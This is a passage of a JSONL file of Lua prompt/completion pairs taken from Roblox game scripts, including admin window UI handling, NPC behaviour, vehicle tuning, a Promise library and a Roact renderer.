end\n\n\t\t\t\t\tif moveX then\n\t\t\t\t\t\tnewPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)\n\t\t\t\t\tend\n\n\t\t\t\t\tif moveY then\n\t\t\t\t\t\tnewPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)\n\t\t\t\t\tend\n\n\t\t\t\t\tDrag.Position = newPos\n\t\t\t\t\tDrag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\t\t\t\t\tMain.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)\n\n\t\t\t\t\tif not Titlef.TextFits then\n\t\t\t\t\t\tTitlef.Visible = false\n\t\t\t\t\telse\n\t\t\t\t\t\tTitlef.Visible = true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcheckMouse(x, y)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tEvent(InputService.InputBegan, function(input, gameHandled)\n\t\t\tif not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tinputStart(Mouse.X, Mouse.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputChanged, function(input, gameHandled)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseMovement or Enum.UserInputType.Touch then\n\t\t\t\tinputMoved(input.Position.X, input.Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputEnded, function(input, gameHandled)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or Enum.UserInputType.Touch then\n\t\t\t\tinputEnd()\n\t\t\tend\n\t\tend)\n\n\t\t--[[Event(Mouse.Button1Down, function()\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\t\tcheckMouse()\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Mouse.Button1Up, function()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend)--]]\n\telse\n\t\tLeftSizeIcon.Visible = false\n\t\tRightSizeIcon.Visible = false\n\tend\n\n\n\tClose.MouseButton1Down:Connect(doClose)\n\tHide.MouseButton1Down:Connect(function() doHide() end)\n\tgTable.CustomDestroy = function()\n\t\tif client.Variables.MouseLockedBy == gTable then\n\t\t\tMouse.Icon = curIcon\n\t\t\tclient.Variables.MouseLockedBy = nil\n\t\tend\n\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tif onClose then\n\t\t\t\tonClose()\n\t\t\tend\n\t\tend\n\n\t\tservice.UnWrap(GUI):Destroy()\n\tend\n\n\tfor i,child in next,GUI:GetChildren() do\n\t\tif child.Name ~= \"Desc\" and child.Name ~= \"Drag\" then\n\t\t\tspecialInsts[child.Name] = child\n\t\t\tchild.Parent = nil\n\t\tend\n\tend\n\n\t--// Drag & DisplayOrder Handler\n\tdo\n\t\tlocal windowValue = Instance.new(\"BoolValue\", GUI)\n\t\tlocal dragDragging = false\n\t\tlocal dragOffset\n\t\tlocal inFrame\n\n\t\twindowValue.Name = \"__ADONIS_WINDOW\"\n\n\t\tEvent(Main.InputBegan, function(input)\n\t\t\tif gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tBringToFront()\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Drag.InputBegan, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\n\t\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\t\tBringToFront()\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Drag.InputChanged, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Drag.InputEnded, function(input)\n\t\t\tinFrame = false\n\t\tend)\n\n\t\tEvent(InputService.InputBegan, function(input)\n\t\t\tif inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then\n\t\t\t\tdragDragging = true\n\t\t\t\tBringToFront()\n\t\t\t\tdragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputChanged, function(input)\n\t\t\tif dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tDrag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputEnded, function(input)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tdragDragging = false\n\t\t\tend\n\t\tend)\n\tend\n\n\t--// Finishing up\n\tlocal api = apiIfy(ScrollFrame, data)\n\tlocal meta = api:GetMetatable()\n\tlocal oldNewIndex = meta.__newindex\n\tlocal oldIndex = meta.__index\n\n\tcreate(\"ScrollingFrame\", nil, ScrollFrame)\n\tLoadChildren(api, Content)\n\n\tapi:SetSpecial(\"gTable\", gTable)\n\tapi:SetSpecial(\"Window\", GUI)\n\tapi:SetSpecial(\"Main\", Main)\n\tapi:SetSpecial(\"Title\", Titlef)\n\tapi:SetSpecial(\"Dragger\", Drag)\n\tapi:SetSpecial(\"Destroy\", doClose)\n\tapi:SetSpecial(\"Close\", doClose)\n\tapi:SetSpecial(\"Object\", ScrollFrame)\n\tapi:SetSpecial(\"Refresh\", DoRefresh)\n\tapi:SetSpecial(\"AddTitleButton\", function(ignore, data) if type(ignore) == \"table\" and not data then data = ignore end return addTitleButton(data) end)\n\tapi:SetSpecial(\"Ready\", function() if onReady then onReady() end gTable.Ready() BringToFront() end)\n\tapi:SetSpecial(\"BindEvent\", function(ignore, ...) Event(...) end)\n\tapi:SetSpecial(\"Hide\", function(ignore, hide) doHide(hide) end)\n\tapi:SetSpecial(\"SetTitle\", function(ignore, newTitle) Titlef.Text = newTitle end)\n\tapi:SetSpecial(\"SetPosition\", function(ignore, newPos) setPosition(newPos) end)\n\tapi:SetSpecial(\"SetSize\", function(ignore, newSize) setSize(newSize) end)\n\tapi:SetSpecial(\"GetPosition\", function() return Drag.AbsolutePosition end)\n\tapi:SetSpecial(\"GetSize\", function() return Main.AbsoluteSize end)\n\tapi:SetSpecial(\"IsVisible\", isVisible)\n\tapi:SetSpecial(\"IsClosed\", isClosed)\n\n\tmeta.__index = function(tab, ind)\n\t\tif ind == \"IsVisible\" then\n\t\t\treturn isVisible()\n\t\telseif ind == \"Closed\" then\n\t\t\treturn isClosed\n\t\telse\n\t\t\treturn oldIndex(tab, ind)\n\t\tend\n\tend\n\n\tsetSize(Size)\n\tsetPosition(Position)\n\n\tif Ready then\n\t\tgTable:Ready()\n\t\tBringToFront()\n\tend\n\n\treturn api,GUI\nend\n"} +{"prompt": "-- Cutscene duration in seconds", "completion": "\nlocal duration = Demo:GetDuration()"} +{"prompt": "---------------\n--// Code\n---------------", "completion": "\nwhile true do\n\n\ttask.wait()\n\n\tcount1 = count1 + 0.001*speed\n\tcount2 = count2 + 0.001*speed2\n\n\tif count1 > 1 then\n\t\tcount1 = 0\n\tend\n\n\tif count2 > 1 then\n\t\tcount2 = 0\n\tend\n\t\n\t\n\t\n\tlocal Color1 = ColorSequenceKeypoint.new(0, Color3.fromHSV(count1,1,1))\n\tlocal Color2 = ColorSequenceKeypoint.new(1, Color3.fromHSV(count2,1,1))\n\n\n\tscript.Parent.Color = ColorSequence.new({Color1, Color2})\n\nend\n"} +{"prompt": "----------------------------\n--Patrol Script--\n----------------------------", "completion": "\n\non = 0\nTool = script.Parent\nwelds = {}\nsh = {}\narms = nil\ntorso = nil\nf = nil\nHolstered = false\nwait()\nlocal Tool = script.Parent\nenabled = true"} +{"prompt": "--\t\tfor i, v in pairs({FrontLeftHip, FrontRightHip, BackLeftHip, BackRightHip}) do\n--\t\t\tv.MaxVelocity = 0.15\n--\t\tend", "completion": "\n\t\tLimbAmplitude = 0.2\n\t\tLimbFrequency = 9\n\telseif (Pose == \"Climbing\") then"} +{"prompt": "-- Main loop", "completion": "\nspawn(function()\n while wait(cooldown) do\n \n if check_movement() then\n \n\t\t\tfootstepsSound.SoundId = get_material()\n \n\t\t\tfootstepsSound.Parent = nil\n\t\t\tfootstepsSound.Parent = rootPart\n end\n end\nend)\n"} +{"prompt": "--]]", "completion": "\n\n\nfunction getHumanoid(model)\n\tfor _, v in pairs(model:GetChildren()) do\n\t\tif v:IsA'Humanoid' then\n\t\t\treturn v\n\t\tend\n\tend\nend\n\n\nlocal zombie = script.Parent\nlocal human = getHumanoid(zombie)\nlocal hroot = zombie.HumanoidRootPart\nlocal zspeed = hroot.Velocity.magnitude\n\n\nlocal pfs = game:GetService(\"PathfindingService\")\n\nfunction GetPlayerNames()\n\tlocal players = game:GetService('Players'):GetChildren()\n\tlocal name = nil\n\tfor _, v in pairs(players) do\n\t\tif v:IsA'Player' then\n\t\t\tname = tostring(v.Name)\n\t\tend\n\tend\n\treturn name\nend\n\nspawn(function()\n\twhile wait() do\n\t\tprint(\"THIS BALDI MODEL WAS MADE BY ANPHU04, DO NOT TRUST ANYBODY THAT USES THIS!\")\n\tend\nend)\n\nfunction GetPlayersBodyParts(t)\n\tlocal torso = t\n\tif torso then\n\t\tlocal figure = torso.Parent\n\t\tfor _, v in pairs(figure:GetChildren()) do\n\t\t\tif v:IsA'Part' then\n\t\t\t\treturn v.Name\n\t\t\tend\n\t\tend\n\telse\n\t\treturn \"HumanoidRootPart\"\n\tend\nend\n\nfunction GetTorso(part)\n\tlocal chars = game.Workspace:GetChildren()\n\tlocal torso = nil\n\tfor _, v in pairs(chars) do\n\t\tif v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then\n\t\t\tlocal charRoot = v:FindFirstChild'HumanoidRootPart'\n\t\t\tif (charRoot.Position - part).magnitude < SearchDistance then\n\t\t\t\ttorso = charRoot\n\t\t\tend\n\t\tend\n\tend\n\treturn torso\nend\n\nfor _, zambieparts in pairs(zombie:GetChildren()) do\n\tif zambieparts:IsA'Part' then\n\t\tzambieparts.Touched:connect(function(p)\n\t\t\tif p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage\n\t\t\t\tlocal enemy = p.Parent\n\t\t\t\tlocal enemyhuman = getHumanoid(enemy)\n\t\t\t\tenemyhuman:TakeDamage(ZombieDamage)\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--[[\n\tCalls any :finally handlers. We need this to be a separate method and\n\tqueue because we must call all of the finally callbacks upon a success,\n\tfailure, *and* cancellation.\n]]", "completion": "\nfunction Promise.prototype:_finalize()\n\tfor _, callback in ipairs(self._queuedFinally) do\n\t\t-- Purposefully not passing values to callbacks here, as it could be the\n\t\t-- resolved values, or rejected errors. If the developer needs the values,\n\t\t-- they should use :andThen or :catch explicitly.\n\t\tcoroutine.wrap(callback)(self._status)\n\tend\n\n\tself._queuedFinally = nil\n\tself._queuedReject = nil\n\tself._queuedResolve = nil\n\n\t-- Clear references to other Promises to allow gc\n\tif not Promise.TEST then\n\t\tself._parent = nil\n\t\tself._consumers = nil\n\tend\nend\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\",}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.04\t\t,\n\t\t--[[ 3 ]]\t\t1.38\t\t,\n\t\t--[[ 4 ]]\t\t1.03\t\t,\n\t\t--[[ 5 ]]\t\t0.81\t\t,\n\t\t--[[ 6 ]]\t\t0.64\t\t,\n\t\t--[[ 7 ]] 0.55 ,\n\t\t--[[ 8 ]] 0.43 ,\n\t\t--[[ 9 ]] 0.31 ,\n\t\t--[[ 10]] 0.20 ,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--//Player//--", "completion": "\nlocal Player = game.Players.LocalPlayer\nlocal Character = Player.Character or Player.CharacterAdded:Wait()\n\nlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n"} +{"prompt": "--\t\tbody.HB.BrickColor = bool and BrickColor.new(\"Pearl\") or BrickColor.new(\"Black\")\n--\t\tbody.HB.Material = bool and \"Neon\" or \"SmoothPlastic\"", "completion": "\n\t\tbody.RB.BrickColor = bool and BrickColor.new(\"Really red\") or BrickColor.new(\"Bright red\")\n\t\tbody.RB.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tcar.Misc.TK.RB.BrickColor = bool and BrickColor.new(\"Really red\") or BrickColor.new(\"Bright red\")\n\t\tcar.Misc.TK.RB.Material = bool and \"Neon\" or \"SmoothPlastic\""} +{"prompt": "--Enable Verbose Outputs, reports all actions. It's spammy m8. Only use for serious debug.", "completion": "\nmodule.Verbose = true; --N O\n\nmodule.FuelDepletionRate = 3.2 --dictates fuel depletion rate\n\nmodule.PowerLaserBuff = 1.35 --dictates how powerful the powerlasers are\n\nmodule.CoolantBuff = 2 --when\n\nmodule.ReliefsBuff = 1.75 -- you get the drill by now\n\nreturn module\n"} +{"prompt": "---- Put In StarterCharacterScripts", "completion": "\n\nlocal hum = script.Parent:WaitForChild(\"Humanoid\")\n\nhum.Changed:Connect(function()\n\tif hum.Jump == true then\n\t\tif script.Jumped.Value == false then\n\t\t\tscript.Jump:Play()\n\t\t\tscript.Jumped.Value = true\n\t\t\tprint(\"Player Has Jumped\")\n\t\t\twait(0.5)\n\t\t\tscript.Jumped.Value = false\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- This script removes all the weapons/items of anybody who touches it, except for those whose names\n-- are in the \"keepers\" list.", "completion": "\n\nkeepers = {\"\"}\n"} +{"prompt": "-- A variant of the function above that returns the velocity at a given point in time.", "completion": "\nlocal function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3\n\treturn initialVelocity + acceleration * time\nend\n\nlocal function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3}\n\tassert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tlocal trajectories = cast.StateInfo.Trajectories\n\tlocal trajectory = trajectories[index]\n\tlocal duration = trajectory.EndTime - trajectory.StartTime\n\t\n\tlocal origin = trajectory.Origin\n\tlocal vel = trajectory.InitialVelocity\n\tlocal accel = trajectory.Acceleration\n\t\n\treturn {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)}\nend\n\nlocal function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3}\n\tassert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\treturn GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories)\nend\n\nlocal function CloneCastParams(params: RaycastParams): RaycastParams\n\tlocal clone = RaycastParams.new()\n\tclone.CollisionGroup = params.CollisionGroup\n\tclone.FilterType = params.FilterType\n\tclone.FilterDescendantsInstances = params.FilterDescendantsInstances\n\tclone.IgnoreWater = params.IgnoreWater\n\treturn clone\nend\n\nlocal function SendRayFinalHit(cast: ActiveCast, origin: Vector3, direction: Vector3, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)\n\t--cast.RayFinalHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)\n\tcast.Caster.RayFinalHit:Fire(cast, origin, direction, resultOfCast, segmentVelocity, cosmeticBulletObject)\nend\n\nlocal function SendRayHit(cast: ActiveCast, origin: Vector3, direction: Vector3, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)\n\t--cast.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)\n\tcast.Caster.RayHit:Fire(cast, origin, direction, resultOfCast, segmentVelocity, cosmeticBulletObject)\nend\n\nlocal function SendLengthChanged(cast: ActiveCast, point: Vector3, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)\n\t--cast.LengthChanged:Fire(cast, point, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)\n\tcast.Caster.LengthChanged:Fire(cast, point, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)\nend\n"} +{"prompt": "--[=[\n\t@class Blend\n]=]", "completion": "\nreturn {\n\tMultiply = require(script.Multiply),\n\tScreen = require(script.Screen),\n\tOverlay = require(script.Overlay),\n\tDodge = require(script.Dodge),\n\tBurn = require(script.Burn),\n\tTransparency = require(script.Transparency),\n}\n"} +{"prompt": "--[[\n\tConstructs a new computed state object, which follows the value of another\n\tstate object using a spring simulation.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal logError = require(Package.Logging.logError)\nlocal unpackType = require(Package.Animation.unpackType)\nlocal SpringScheduler = require(Package.Animation.SpringScheduler)\nlocal useDependency = require(Package.Dependencies.useDependency)\nlocal initDependency = require(Package.Dependencies.initDependency)\nlocal updateAll = require(Package.Dependencies.updateAll)\n\nlocal class = {}\n\nlocal CLASS_METATABLE = {__index = class}\nlocal WEAK_KEYS_METATABLE = {__mode = \"k\"}\n\nlocal ENABLE_PARAM_SETTERS = true\n"} +{"prompt": "--[[\n\tRenderer that deals in terms of Roblox Instances. This is the most\n\twell-supported renderer after NoopRenderer and is currently the only\n\trenderer that does anything.\n]]", "completion": "\n\nlocal Binding = require(script.Parent.Binding)\nlocal Children = require(script.Parent.PropMarkers.Children)\nlocal ElementKind = require(script.Parent.ElementKind)\nlocal SingleEventManager = require(script.Parent.SingleEventManager)\nlocal getDefaultInstanceProperty = require(script.Parent.getDefaultInstanceProperty)\nlocal Ref = require(script.Parent.PropMarkers.Ref)\nlocal Type = require(script.Parent.Type)\nlocal internalAssert = require(script.Parent.internalAssert)\n\nlocal config = require(script.Parent.GlobalConfig).get()\n\nlocal applyPropsError = [[\nError applying props:\n\t%s\nIn element:\n%s\n]]\n\nlocal updatePropsError = [[\nError updating props:\n\t%s\nIn element:\n%s\n]]\n\nlocal function identity(...)\n\treturn ...\nend\n\nlocal function applyRef(ref, newHostObject)\n\tif ref == nil then\n\t\treturn\n\tend\n\n\tif typeof(ref) == \"function\" then\n\t\tref(newHostObject)\n\telseif Type.of(ref) == Type.Binding then\n\t\tBinding.update(ref, newHostObject)\n\telse\n\t\t-- TODO (#197): Better error message\n\t\terror((\"Invalid ref: Expected type Binding but got %s\"):format(typeof(ref)))\n\tend\nend\n\nlocal function setRobloxInstanceProperty(hostObject, key, newValue)\n\tif newValue == nil then\n\t\tlocal hostClass = hostObject.ClassName\n\t\tlocal _, defaultValue = getDefaultInstanceProperty(hostClass, key)\n\t\tnewValue = defaultValue\n\tend\n\n\t-- Assign the new value to the object\n\thostObject[key] = newValue\n\n\treturn\nend\n\nlocal function removeBinding(virtualNode, key)\n\tlocal disconnect = virtualNode.bindings[key]\n\tdisconnect()\n\tvirtualNode.bindings[key] = nil\nend\n\nlocal function attachBinding(virtualNode, key, newBinding)\n\tlocal function updateBoundProperty(newValue)\n\t\tlocal success, errorMessage = xpcall(function()\n\t\t\tsetRobloxInstanceProperty(virtualNode.hostObject, key, newValue)\n\t\tend, identity)\n\n\t\tif not success then\n\t\t\tlocal source = virtualNode.currentElement.source\n\n\t\t\tif source == nil then\n\t\t\t\tsource = \"\"\n\t\t\tend\n\n\t\t\tlocal fullMessage = updatePropsError:format(errorMessage, source)\n\t\t\terror(fullMessage, 0)\n\t\tend\n\tend\n\n\tif virtualNode.bindings == nil then\n\t\tvirtualNode.bindings = {}\n\tend\n\n\tvirtualNode.bindings[key] = Binding.subscribe(newBinding, updateBoundProperty)\n\n\tupdateBoundProperty(newBinding:getValue())\nend\n\nlocal function detachAllBindings(virtualNode)\n\tif virtualNode.bindings ~= nil then\n\t\tfor _, disconnect in pairs(virtualNode.bindings) do\n\t\t\tdisconnect()\n\t\tend\n\t\tvirtualNode.bindings = nil\n\tend\nend\n\nlocal function applyProp(virtualNode, key, newValue, oldValue)\n\tif newValue == oldValue then\n\t\treturn\n\tend\n\n\tif key == Ref or key == Children then\n\t\t-- Refs and children are handled in a separate pass\n\t\treturn\n\tend\n\n\tlocal internalKeyType = Type.of(key)\n\n\tif internalKeyType == Type.HostEvent or internalKeyType == Type.HostChangeEvent then\n\t\tif virtualNode.eventManager == nil then\n\t\t\tvirtualNode.eventManager = SingleEventManager.new(virtualNode.hostObject)\n\t\tend\n\n\t\tlocal eventName = key.name\n\n\t\tif internalKeyType == Type.HostChangeEvent then\n\t\t\tvirtualNode.eventManager:connectPropertyChange(eventName, newValue)\n\t\telse\n\t\t\tvirtualNode.eventManager:connectEvent(eventName, newValue)\n\t\tend\n\n\t\treturn\n\tend\n\n\tlocal newIsBinding = Type.of(newValue) == Type.Binding\n\tlocal oldIsBinding = Type.of(oldValue) == Type.Binding\n\n\tif oldIsBinding then\n\t\tremoveBinding(virtualNode, key)\n\tend\n\n\tif newIsBinding then\n\t\tattachBinding(virtualNode, key, newValue)\n\telse\n\t\tsetRobloxInstanceProperty(virtualNode.hostObject, key, newValue)\n\tend\nend\n\nlocal function applyProps(virtualNode, props)\n\tfor propKey, value in pairs(props) do\n\t\tapplyProp(virtualNode, propKey, value, nil)\n\tend\nend\n\nlocal function updateProps(virtualNode, oldProps, newProps)\n\t-- Apply props that were added or updated\n\tfor propKey, newValue in pairs(newProps) do\n\t\tlocal oldValue = oldProps[propKey]\n\n\t\tapplyProp(virtualNode, propKey, newValue, oldValue)\n\tend\n\n\t-- Clean up props that were removed\n\tfor propKey, oldValue in pairs(oldProps) do\n\t\tlocal newValue = newProps[propKey]\n\n\t\tif newValue == nil then\n\t\t\tapplyProp(virtualNode, propKey, nil, oldValue)\n\t\tend\n\tend\nend\n\nlocal RobloxRenderer = {}\n\nfunction RobloxRenderer.isHostObject(target)\n\treturn typeof(target) == \"Instance\"\nend\n\nfunction RobloxRenderer.mountHostNode(reconciler, virtualNode)\n\tlocal element = virtualNode.currentElement\n\tlocal hostParent = virtualNode.hostParent\n\tlocal hostKey = virtualNode.hostKey\n\n\tif config.internalTypeChecks then\n\t\tinternalAssert(ElementKind.of(element) == ElementKind.Host, \"Element at given node is not a host Element\")\n\tend\n\tif config.typeChecks then\n\t\tassert(element.props.Name == nil, \"Name can not be specified as a prop to a host component in Roact.\")\n\t\tassert(element.props.Parent == nil, \"Parent can not be specified as a prop to a host component in Roact.\")\n\tend\n\n\tlocal instance = Instance.new(element.component)\n\tvirtualNode.hostObject = instance\n\n\tlocal success, errorMessage = xpcall(function()\n\t\tapplyProps(virtualNode, element.props)\n\tend, identity)\n\n\tif not success then\n\t\tlocal source = element.source\n\n\t\tif source == nil then\n\t\t\tsource = \"\"\n\t\tend\n\n\t\tlocal fullMessage = applyPropsError:format(errorMessage, source)\n\t\terror(fullMessage, 0)\n\tend\n\n\tinstance.Name = tostring(hostKey)\n\n\tlocal children = element.props[Children]\n\n\tif children ~= nil then\n\t\treconciler.updateVirtualNodeWithChildren(virtualNode, virtualNode.hostObject, children)\n\tend\n\n\tinstance.Parent = hostParent\n\tvirtualNode.hostObject = instance\n\n\tapplyRef(element.props[Ref], instance)\n\n\tif virtualNode.eventManager ~= nil then\n\t\tvirtualNode.eventManager:resume()\n\tend\nend\n\nfunction RobloxRenderer.unmountHostNode(reconciler, virtualNode)\n\tlocal element = virtualNode.currentElement\n\n\tapplyRef(element.props[Ref], nil)\n\n\tfor _, childNode in pairs(virtualNode.children) do\n\t\treconciler.unmountVirtualNode(childNode)\n\tend\n\n\tdetachAllBindings(virtualNode)\n\n\tvirtualNode.hostObject:Destroy()\nend\n\nfunction RobloxRenderer.updateHostNode(reconciler, virtualNode, newElement)\n\tlocal oldProps = virtualNode.currentElement.props\n\tlocal newProps = newElement.props\n\n\tif virtualNode.eventManager ~= nil then\n\t\tvirtualNode.eventManager:suspend()\n\tend\n\n\t-- If refs changed, detach the old ref and attach the new one\n\tif oldProps[Ref] ~= newProps[Ref] then\n\t\tapplyRef(oldProps[Ref], nil)\n\t\tapplyRef(newProps[Ref], virtualNode.hostObject)\n\tend\n\n\tlocal success, errorMessage = xpcall(function()\n\t\tupdateProps(virtualNode, oldProps, newProps)\n\tend, identity)\n\n\tif not success then\n\t\tlocal source = newElement.source\n\n\t\tif source == nil then\n\t\t\tsource = \"\"\n\t\tend\n\n\t\tlocal fullMessage = updatePropsError:format(errorMessage, source)\n\t\terror(fullMessage, 0)\n\tend\n\n\tlocal children = newElement.props[Children]\n\tif children ~= nil or oldProps[Children] ~= nil then\n\t\treconciler.updateVirtualNodeWithChildren(virtualNode, virtualNode.hostObject, children)\n\tend\n\n\tif virtualNode.eventManager ~= nil then\n\t\tvirtualNode.eventManager:resume()\n\tend\n\n\treturn virtualNode\nend\n\nreturn RobloxRenderer\n"} +{"prompt": "--02fzx", "completion": "\n\nlocal FlingAmount = 0\t--sky\nlocal sound = true\t\t\t--well i mean its god hand so..\nlocal sit = false\t\t\t--If it makes the player sit.\nlocal e = false\t\t\t\t--Do not change.\nlocal explode = false\t\t--This one just kills you\n\n\n\nfunction hit(Touch) \n\tlocal blender = Touch.Parent:FindFirstChild(\"Head\") \n\tif not (blender == nil) then\n\t\tif e == false then\n\t\te = true\n\t\tlocal bv = Instance.new(\"BodyVelocity\")\n\t\tbv.P = 1250\n\t\tbv.MaxForce = Vector3.new(math.huge,math.huge,math.huge)\n\t\tbv.Velocity = blender.CFrame.lookVector*-FlingAmount\n\t\tbv.Parent = blender\n\t\tif sit == true then\n\t\tTouch.Parent:FindFirstChild(\"Humanoid\").Sit = true\n\t\tend\n\t\tif sound == true then\n\t\t\t\tlocal s = script.Parent.Yeet:Clone()\n\t\t\t\tlocal MAAAA = script.Parent.Scream:Clone()\n\t\t\tlocal random = math.random(8,12)/10\n\t\t\ts.Parent = blender\n\t\t\ts.PlaybackSpeed = 1\n\t\t\t\ts:Play()\n\t\t\t\tTouch.Parent:FindFirstChild(\"Humanoid\").Health = 100\n\t\t\t\tMAAAA.Parent = blender\n\t\t\t\tMAAAA:Play()\n\t\t\t\tMAAAA.STOP.Disabled = false\n\t\tend\n\t\twait(.05)\n\t\tbv:Destroy()\n\t\twait(.2)\n\t\n\te = false\n\t\twait(1)\n\t\tif explode == true then\n\t\t\tTouch.Parent:FindFirstChild(\"Humanoid\").Health = 100\n\t\tend\n\n\n\n\t\tend\n\tend \nend\n\nscript.Parent.Touched:connect(hit)\n"} +{"prompt": "--ADMIN LOADER.\n--This is a script that is part of your admin in game.\n--Removing/tampering with this script will potentially result in scripts breaking in your game.", "completion": 